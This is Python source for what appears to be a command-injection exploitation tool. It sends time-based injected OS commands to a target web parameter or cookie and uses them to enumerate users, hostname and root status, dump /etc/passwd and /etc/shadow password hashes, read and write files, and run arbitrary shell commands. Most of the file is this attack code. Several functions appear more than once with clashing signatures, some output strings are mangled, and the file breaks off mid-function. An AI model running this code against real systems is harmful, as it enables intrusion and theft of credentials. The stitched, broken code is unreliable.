def system_information(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.RECOGNISE_OS
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os + ".\n")
output_file.close()
def current_user(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = settings.CURRENT_USER
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
check_how_long, output = tfb_injector.cookie_injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
else:
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
is_root = output
if is_root:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
if is_root != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
def file_write(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "' "
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
def file_write(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "' "
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
def current_user(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell):
cmd = settings.CURRENT_USER
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
check_how_long, output = tfb_injector.cookie_injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell)
else:
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell)
is_root = output
if is_root:
sys.stdout.write(Style.BRIGHT +
"\n\n (!) The current user is " +
Style.UNDERLINE + cu_account +
Style.RESET_ALL)
if is_root != "0":
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "" + Style.RESET_ALL +
Style.BRIGHT + " privilleged" +
Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " +
Style.UNDERLINE + cu_account + Style.RESET_ALL +
".\n")
sys.stdout.flush()
def file_read(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
# if menu.options.verbose:
# print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The contents of file '" +
Style.UNDERLINE + file_to_read + Style.RESET_ALL +
"' : ")
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read +
"' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(
Fore.YELLOW +
"(^) Warning: It seems that you don't have permissions to read the '"
+ file_to_read + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
def file_read(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) Contents of file " +
Style.UNDERLINE + file_to_read + Style.RESET_ALL +
" : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write(
"\n" + Fore.YELLOW +
"(^) Warning: It seems that you don't have permissions to read the '"
+ file_to_read + "' file." + Style.RESET_ALL)
sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("\n(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace("(@)","\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
def do_check(separator, maxlen, TAG, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
# Current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
print "\n\n" + " (+) Current User : "******""
# Is-root enumeration
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
sys.stdout.write("\n\n" + " (+) Current user have root privs :")
sys.stdout.flush()
if output != "0":
print colors.RED + " FALSE " + colors.RESET
else:
print colors.GREEN + " TRUE " + colors.RESET
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
print "\n\n" + " (+) Hostname : " + colors.YELLOW + colors.BOLD + output + colors.RESET + ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
print "\n\n" + colors.GREEN + colors.BOLD + output + colors.RESET
print "\n(*) Finished in " + time.strftime(
'%H:%M:%S', time.gmtime(check_how_long)) + ".\n"
sys.exit(0)
# eof
def hostname(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = settings.HOSTNAME
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
def file_read(
separator,
maxlen,
TAG,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
# if menu.options.verbose:
# print ""
sys.stdout.write(
Style.BRIGHT + "\n\n (!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : "
)
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(
"\n"
+ Fore.YELLOW
+ "(^) Warning: It seems that you don't have permissions to read the '"
+ file_to_read
+ "' file."
+ Style.RESET_ALL
)
sys.stdout.flush()
def single_os_cmd_exec(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = menu.options.os_cmd
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
sys.exit(0)
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
cmd = menu.options.os_cmd
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
sys.exit(0)
def system_users(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_users = output
if sys_users :
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)","\n")
sys_users = sys_users.split( )
if len(sys_users) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privilleged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privilleged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privilleged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privilleged_nh = " is non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privilleged_nh = " is regular user "
else :
is_privilleged = ""
is_privilleged_nh = ""
else :
is_privilleged = ""
is_privilleged_nh = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + ").Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
else:
print Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "' to enumerate users entries." + Style.RESET_ALL + "\n"
def hostname(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.HOSTNAME
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The hostname is " + shell + ".\n")
output_file.close()
def system_users(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("\n(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_users = output
if sys_users :
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)","\n")
sys_users = sys_users.split( )
if len(sys_users) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privilleged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privilleged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privilleged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privilleged_nh = " is non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privilleged_nh = " is regular user "
else :
is_privilleged = ""
is_privilleged_nh = ""
else :
is_privilleged = ""
is_privilleged_nh = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + ").Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell):
cmd = menu.options.os_cmd
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
sys.exit(0)
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
print "\n\n" + " (+) Current User : "******""
# Is-root enumeration
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
sys.stdout.write( "\n\n" + " (+) Current user have root privs :")
sys.stdout.flush()
if output != "0":
print colors.RED + " FALSE " + colors.RESET
else:
print colors.GREEN + " TRUE " + colors.RESET
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
print "\n\n" + " (+) Hostname : "+ colors.YELLOW + colors.BOLD + output + colors.RESET + ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if menu.options.verbose:
print ""
print "\n\n" + colors.GREEN + colors.BOLD + output + colors.RESET
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
sys.exit(0)
# eof
def file_read(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + Style.RESET_ALL)
sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
print ""
else:
print Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL + "\n"
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method):
counter = 0
vp_flag = True
no_result = True
is_encoded = False
fixation = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
num_of_chars = 0
# Calculate all possible combinations
total = len(settings.SEPARATORS)
# Estimating the response time (in seconds)
request = urllib2.Request(url)
headers.do_check(request)
start = time.time()
response = urllib2.urlopen(request)
response.read(1)
response.close()
end = time.time()
diff = end - start
url_time_response = int(diff)
if url_time_response != 0:
print Style.BRIGHT + "(!) The estimated response time is " + str(url_time_response) + " second" + "s"[
url_time_response == 1 :
] + "." + Style.RESET_ALL
delay = int(delay) + int(url_time_response)
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Change TAG on every request to prevent false-positive resutls.
TAG = "".join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method
)
else:
payload = tfb_payloads.decision(
separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method
)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Check if target host is vulnerable
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
if not menu.options.verbose:
percent = (num_of_chars * 100) / total
if how_long >= delay:
